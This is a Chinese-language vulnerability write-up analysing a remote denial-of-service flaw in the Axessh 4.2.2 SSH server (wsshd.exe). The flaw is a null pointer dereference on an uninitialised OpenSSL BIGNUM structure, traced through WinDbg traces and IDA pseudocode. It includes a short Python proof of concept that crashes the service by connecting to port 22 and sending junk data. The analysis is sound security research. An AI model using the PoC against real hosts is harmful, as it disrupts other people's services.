作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
Axessh是一款windows下的ssh工具,使用后会开启ssh 22端口,并开启wsshed.exe服务,当wsshed.exe在接收字符串时,会调用BIGNUM相关函数进行处理,但对于BIGNUM的结构体没有进行赋初值,导致空指针引用引发拒绝服务漏洞,下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/12d8cee31a99cdbd7d30ebf5c86c57ca-axessh.exe
PoC:
import socket
print "Axessh 4.2.2 XwpSSHD (wsshd.exe) Remote Denial Of Service"
ip = raw_input("[IP]> ")
port = 22
payload="A"*2000
s=socket.create_connection((ip,port))
s.send(payload)
漏洞分析
这里要提的一点是,Exploit-db给的PoC可以触发漏洞,但实际上,只要连接22端口,都会引发这个漏洞的发生,哪怕只发送一字节的内容。
附加wsshed.exe,执行PoC,引发中断,这边捕获到漏洞触发位置。
0:000> g
(f74.a68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=003da7d0 ebx=00000008 ecx=00000000 edx=00000001 esi=00000008 edi=003d77a0
eip=00402bfe esp=0012f530 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
wsshd+0x2bfe:
00402bfe 8b5108 mov edx,dword ptr [ecx+8] ds:0023:00000008=????????
可以看到此时ecx的值是00000000,显然这里是想引用一个指针+08h偏移位置的值,但是由于空指针的原因引发了拒绝服务,看一下堆栈回溯。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 wsshd+0x2bfe
可以看到这里只有一处引用,但实际上程序没有做这么少的事情,来看一下ida pro的外层伪代码。
if ( dword_4545EC && sub_404C80((SOCKET)s, 0xFFFF, 8, optval, 4) < 0 )
{
v88 = v77();
v89 = (unsigned int)strerror(*v88);
sub_41B070("setsockopt SO_KEEPALIVE: %.100s", v89);
}
sub_41B670((SOCKET)s, v98);
sub_419400();
v92 = sub_419250(v90, v91);
sub_41B0B0("Connection from %.500s port %d", v92);
if ( dword_4562E8 && (hSourceHandle = s, dword_44E1C4 = v98, sub_402710() == 1) )
{
if ( dword_4562E8 )
{
sub_425330(*(void **)dword_44E204);
dword_4562E8 = 0;
if ( !dword_452F5C )
sub_402510();
}
}
else
{
sub_418CC0((int)&unk_453F80);
if ( dword_452F5C )
{
sub_403040();
sub_42A060(v93);
}
else
{
sub_402BB0();
sub_429A90(v93);
}
if ( dword_4562E8 )
{
sub_426390(*(_DWORD *)dword_44E204);
sub_403150("position - mm_send_keystate(pmonitor)", v95);
return 0;
}
}
观察刚进入函数的代码,会做一些连接的操作,其实这个过程都和获取字符串无关,但是和接收到连接情况有关,接收后,会有一处调用。
0:000> p
eax=00000000 ebx=00000658 ecx=00000000 edx=003d0608 esi=003d8f20 edi=003d8d68
eip=004049b4 esp=0012f5c4 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
wsshd+0x49b4:
004049b4 e8f7e1ffff call wsshd+0x2bb0 (00402bb0)
这个调用会进入到关键函数
int sub_402BB0()
{
v0 = 0;
v1 = 0;
do
{
if ( !(v1 & 3) )
v0 = sub_431660();
v42[v1] = v0;
v0 >>= 8;
++v1;
}
while ( v1 < 8 );
sub_41BC20(2);
v2 = 0;
do
sub_41BC70(v42[v2++]);
while ( v2 < 8 );
v3 = BN_num_bits(*(_DWORD *)(*(_DWORD *)(dword_453F40 + 8) + 16));
在漏洞触发位置调用了函数BN_num_bits函数,这个函数作用是openssl中负责处理将BNNUM结构体中的字符转换成二进制的,而在本例中,当前结构体是dword_453F40,这是一处全局变量。
在openssl中,是通过BN_new的方法初始化结构体的。
.text:00432796 BN_new proc near ; CODE XREF: sub_402BB0+1BDp
.text:00432796 ; sub_419840:loc_419891p ...
.text:00432796 jmp ds:__imp_BN_new
.text:00432796 BN_new endp
在初始化位置下断点,同时在漏洞函数下断点,直接运行。
0:004> bp 432796
*** ERROR: Symbol file could not be found. Defaulted to export symbols for wsshd.exe -
0:004> bp 00402bf8
0:004> g
Breakpoint 1 hit
eax=003db4e8 ebx=00000008 ecx=00000000 edx=00000001 esi=00000008 edi=003d8060
eip=00402bf8 esp=0012f530 ebp=00000001 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
wsshd+0x2bf8:
00402bf8 8b0d403f4500 mov ecx,dword ptr [wsshd!mklPerror+0x49330 (00453f40)] ds:0023:00453f40=00000000
这里没有进行BN_new初始化处理,而是直接执行了目标函数,这时候传给ecx寄存器的值是00000000,也就是结构体没有赋初值,从而导致了空指针引用,引发拒绝服务漏洞。